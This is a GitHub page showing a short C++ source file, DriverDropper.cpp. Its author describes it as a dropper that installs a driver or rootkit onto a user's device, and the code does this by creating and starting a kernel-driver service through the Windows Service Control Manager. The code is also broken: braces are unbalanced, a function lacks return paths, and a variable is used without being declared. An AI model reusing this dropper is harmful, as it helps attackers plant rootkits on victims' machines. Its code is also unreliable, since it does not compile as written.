-
Notifications
You must be signed in to change notification settings - Fork 4
/
DriverDropper.cpp
69 lines (58 loc) · 1.24 KB
/
DriverDropper.cpp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
/*
Author: 0x44F
Use only for ethical purposes, this is meant to be compiled as an executable (exe) file to
drop the driver / rootkit into user device.
*/
#include <iostream>
#include <Windows.h>
#include <Winsvc.h>
SC_HANDLE installDriver(LPCTSTR driverName, LPCTSTR binPath)
{
SC_HANDLE svcm_handle = NULL;
SC_HANDLE svchandle = NULL;
svcm_handle = OpenSCManager(NULL,NULL,SC_MANAGER_ALL_ACCESS);
if(svcm_handle == NULL)
{
std::cout << "installdriver, could not open handle to SCM manager" << std::endl;
return NULL;
}
svchandle = CreateService
(
svcm_handle,
driverName,
driverName,
SERVICE_ALL_ACCESS,
SERVICE_KERNEL_DRIVER,
SERVICE_DEMAND_START,
SERVICE_ERROR_NORMAL,
binPath,
NULL,
NULL,
NULL,
NULL,
NULL
);
if(svchandle == NULL)
return NULL;
CloseServiceHandle(svcm_handle);
return svchandle;
}
BOOL loadDriver(SC_HANDLE svchandle)
{
if(StartService(svchandle,0,NULL) == 0)
if(GetLastError() == ERROR_SERVICE_ALREADY_RUNNING)
{
return true;
}
else
{
return false;
}
}
}
int main(int argc, char *argv[])
{
service_handle = installDriver("service name", "path to driver");
loadDriver(service_handle);
std::cout << "Loaded and installed driver.\r\n";
}